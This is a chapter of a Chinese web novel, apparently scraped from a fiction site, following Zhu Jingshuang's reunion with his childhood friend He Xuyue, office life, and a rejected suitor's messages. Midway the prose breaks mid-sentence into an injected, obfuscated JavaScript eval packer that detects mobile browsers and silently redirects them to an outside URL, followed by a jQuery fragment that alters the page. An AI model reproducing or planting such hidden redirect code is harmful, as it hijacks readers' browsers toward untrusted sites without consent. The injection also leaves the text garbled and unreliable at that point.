他已经足足一个月没有见到贺栩樾了,从小到大他们从没有分离那么久过。 【讨厌鬼:等你下班回到家就能吃到做好的饭菜了】 【讨厌鬼:怎么样双双,一个月没吃我做的饭了,有没有想念过?】 祝惊霜趁着在茶水间摸鱼时偷偷回贺栩樾的消息: 【麻烦精:没有】 【讨厌鬼:你嘴硬,我不信】 【讨厌鬼:都那么久没见了,你就不能哄哄我?】 【麻烦精:好吧,那有】 从茶水间出来,祝惊霜听见几个同事在聊天。 见到祝惊霜,他们把目光投过来,其中一个人兴致勃勃地问:“惊霜,你是什么星座的?” 祝惊霜不明所以,但还是乖乖回答:“水瓶。” 同事扭头对着其他人笑道:“我就说惊霜是风象吧。” “聊什么呢。”晏恒洲过来打水,看见他们一群人在这笑,脚步顿了顿。 “聊星座呢。”同事又问他:“你是什么星座?” “天蝎。”晏恒洲接了水,仰头喝了一口,喉结凸起滚动。 “你竟然是水象。”其他同事都很惊讶:“完全不像啊。” 祝惊霜突然想到,万则越也是天蝎座的。 自从上次不欢而散,万则越试图找过他好几次,但每次祝惊霜都以“没想明白答案之前别来找我”回绝了。 欢笑声渐渐变远,祝惊霜回到工位上,发现万则越又给自己发了消息。 【万则越:祝惊霜】 【万则越:那天之后我想了很久你说的话】 【万则越:你说我喜欢的只是片面的你,但那不也是你吗?】 【万则越:我想喜欢完整的你,但你也没给我机会去了解你啊】 【万则越:你只是想找个借口拒绝我,是不是?】 祝惊霜垂下眼帘,掩盖住眼底的思绪。 【祝惊霜:你要这么想我也没办法】 …… 下班以后祝惊霜赶回家,一开门就闻到了食物的鲜香。 厨房里烟雾缭绕,一个高大健壮的男人端着盘子走出来,还不忘把厨房门关上。 祝惊霜凑到贺栩樾面前,左看右看,像不认识他了一样。 “看什么呢。”贺栩樾被他看的有些不自在,把盘子放到桌上后用手捏了捏他的鼻子。 “你没洗手,油死了别碰我。”祝惊霜蹙眉推开他,眼里却全是盈盈的欢喜。 贺栩樾被他推去厨房洗完手,摊开宽阔的手掌,神色无奈:“可以了吧小祖宗。” “可以了。”祝惊霜矜傲地点了点头,目光在面前人身上上下扫荡:“你怎么变黑了那么多?” “双双,我可是去集训。”贺栩樾说着有些怀疑地把手和祝惊霜贴在一起:“黑了很多吗?我怎么没感觉。” 祝惊霜肤色雪白,两个人的手臂贴在一起肤色差格外明显。 贺栩樾最后得出结论:“是你太白了。” “还说我呢。”贺栩樾用手去掐他盈盈一握的腰,眉头一皱:“你怎么比之前瘦了,是不是没好好吃饭?” “可能是工作太忙了。”祝惊霜不以为然。 说了一些工作期间发生的趣事,贺栩樾看他神采飞扬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409377|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也忍不住露出笑容:“看来你还挺喜欢这份工作的。” “还好,氛围不错。”祝惊霜神色冷淡,眼角眉梢却流露出淡淡的柔和。 贺栩樾想起什么一般问起:“对了,你和你那几个前男友怎么样了?” “哪有几个,我就谈过一次。”祝惊霜的神色瞬间变得恹恹的:“不怎么样,最近忙的没空想这些。” 贺栩樾看出他不想提,也识相地换了话题。 饭后贺栩樾洗完碗回来,就发现祝惊霜窝在沙发上睡着了,昏黄的灯光下眉眼疲倦而脆弱,眼底有一层淡淡的黑眼圈,这是之前一直没有的。 贺栩樾盯着他看了一会儿,说不上心里是什么感觉,有点心疼,又有点骄傲。 他知道祝惊霜有能力和野心,也知道自己没办法为祝惊霜保驾护航一辈子。 但他还是希望祝惊霜能在自己看得见的地方走的慢一点,再慢一点。 …… 直到枝头变得光秃秃的,满地枯黄的落叶,带着秋意的风拂过,祝惊霜才发觉,竟然已经到了秋天。 万圣节那天是万则越的生日,去年的这时候祝惊霜把这天当成了赵牧铭的生日。 短短一年间发生了太多事情,祝惊霜终于明白为什么去年这一天发现自己把这天当做赵牧铭生日时对方会是那样的反应。 原来不是被记错生日的难过和生气,而是嫉妒和心虚。 万则越没想到祝惊霜会送自己生日礼物,是一瓶看起来很昂贵的白茶味香水。 他不知道赵牧铭也有一样的礼物,对此欣喜若狂,觉得这是祝惊霜心软的信号。 祝惊霜对他其实是有一点愧疚的。 本该送给万则越的礼物因为记忆被篡改导致最后送错了人,祝惊霜索性就再买了一份送给万则越。 他也丝毫不觉得送两个人一样的生日礼物有什么不对的,他们都说过喜欢他身上的味道,那他都送类似气味的香水不是很正常吗? 值得一提的是祝惊霜和晏恒洲的关系逐渐开始缓解,随着合作次数的增加,他们也越来越默契。 本身两个人专业水平都属于佼佼者,在度过了一开始的磨合期后合作起来更是顺风顺水,短短四个月就升了职。 谢原修离职后依旧和祝惊霜保持联系,知道后也很高兴,在电话里不断重复:“你是我见过最有天赋的人,我就知道你是这块料,太厉害了祝惊霜!” 年底最后一天下了雨,湿冷的寒风呼啸着打在窗上,冬日的天黑的早,下班时外面已经一片昏暗。 祝惊霜裹着一条黑色围巾,露出的脸如雪一般白,冷淡的眉眼轮廓被灯照的分明。 同事们一边收东西一边互相笑闹着说“明年见”,窗外磅礴的大雨没有带来任何低落。 “那么大雨,打了伞估计也会被淋湿。”尽管关系缓和,晏恒洲的关心依然别扭:“你准备什么时候走?” “有人开车来接我。”祝惊霜低头看手机:“应该快到了。” 晏恒洲低声说:“那就好。” 走到门口的时候,晏恒洲又突然回头喊了一声:“祝惊霜!” “嗯?”祝惊霜抬头,散开的黑发凌乱垂在脸颊两侧。 晏恒洲看着他露出灿烂的笑容,张口时呼出淡淡的雾气:“明年见。”